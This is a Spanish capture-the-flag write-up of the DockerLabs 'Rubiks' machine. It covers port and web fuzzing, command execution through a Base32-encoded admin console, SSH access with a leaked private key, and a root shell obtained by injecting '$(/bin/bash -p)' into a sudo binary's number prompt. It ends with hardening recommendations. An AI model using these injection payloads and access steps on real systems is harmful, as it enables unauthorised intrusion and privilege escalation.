Ir al contenido

Rubiks

Este documento presenta la resolución completa de la máquina Rubiks, desarrollada por Luisillo_o para la plataforma DockerLabs, clasificada con una dificultad Media.

El laboratorio expone un servidor web con funcionalidades administrativas ocultas, incluyendo una consola vulnerable que permite la ejecución remota de comandos mediante entradas codificadas.

A partir del compromiso inicial del servicio web, se obtiene acceso al sistema mediante claves privadas SSH expuestas, lo que permite una escalada de privilegios posterior gracias a un binario ejecutable como root con validación de entrada insegura.

La metodología seguida se estructura en las siguientes fases:

  1. Reconocimiento: enumeración de servicios y análisis del sitio web.
  2. Explotación: abuso de una consola web vulnerable para ejecutar comandos.
  3. Escalada de privilegios: explotación de un binario con permisos elevados mal implementado.

Todo el proceso se llevó a cabo dentro de un entorno controlado con fines estrictamente educativos.


AtributoValor
NombreRubiks
AutorLuisillo_o
DificultadMedio
Fecha01/09/2024
PlataformaDockerLabs
IP Objetivo172.17.0.2

Se descomprime la máquina y se despliega utilizando el script proporcionado:

Ventana de terminal
unzip Rubiks.zip
sudo bash auto_deploy.sh Rubiks.tar

Una vez iniciado el contenedor, se identifica la dirección IP asignada.

Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:

Ventana de terminal
mkdir -p Rubiks/{content,exploits,nmap,scripts}
cd Rubiks

Se realiza un escaneo completo de puertos TCP para identificar servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Servicios detectados:

  • 22/tcp — SSH
  • 80/tcp — HTTP

Al acceder inicialmente al sitio web, este no carga correctamente y redirige al dominio:

rubikcube.dl

Por lo tanto, se añade la entrada correspondiente al archivo /etc/hosts.

A continuación, se realiza fuzzing de rutas y archivos:

Ventana de terminal
feroxbuster -u http://rubikcube.dl \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,html,txt,js -t 100 -C 404

Recursos relevantes identificados:

  • index.html Página principal con información genérica sobre cubos Rubik.

  • administration/myconsole.php Consola administrativa que permite ejecutar comandos codificados.


Al acceder a myconsole.php, se observa que los comandos deben enviarse codificados. Tras probar diferentes esquemas, se determina que la consola utiliza Base32.

Se valida la ejecución remota enviando el comando id codificado:

Ventana de terminal
echo id | base32

El resultado se introduce en la consola, confirmando la ejecución correcta de comandos.

A partir de este punto, se realiza enumeración del sistema, incluyendo:

  • Contenido de /etc/passwd
  • Listado del directorio actual

Durante la enumeración se identifica una clave privada SSH (id_rsa) accesible desde el servidor web.

La clave se descarga, se ajustan permisos y se utiliza para acceder por SSH como el usuario luisillo:

Ventana de terminal
ssh -i id_rsa luisillo@172.17.0.2

Se enumeran los permisos sudo del usuario:

Ventana de terminal
sudo -l

Se identifica que el usuario puede ejecutar el binario cube como root. Al revisar el binario, se observa que solicita un número como entrada sin ningún tipo de sanitización.

Aprovechando esta debilidad, se inyecta un comando para ejecutar una shell privilegiada:

Ventana de terminal
sudo -u root /bin/cube
Digite el número: test[$(/bin/bash -p >&2)]

Como resultado, se obtiene acceso directo como root.


VulnerabilidadSeveridadImpacto
Consola administrativa expuesta sin autenticaciónCríticaEjecución remota de comandos
Uso de codificación débil como mecanismo de seguridadAltaBypass de controles de acceso
Exposición de clave privada SSHCríticaCompromiso de cuentas locales
Binario ejecutable como root sin validación de entradaCríticaEscalada total de privilegios
Falta de segregación de permisos en el sistemaAltaPersistencia del atacante

  • Proteger interfaces administrativas mediante autenticación robusta.
  • No utilizar codificaciones como mecanismo de seguridad.
  • Evitar la exposición de claves privadas en servidores web.
  • Validar estrictamente toda entrada proporcionada por el usuario.
  • Auditar binarios con permisos elevados y aplicar el principio de mínimo privilegio.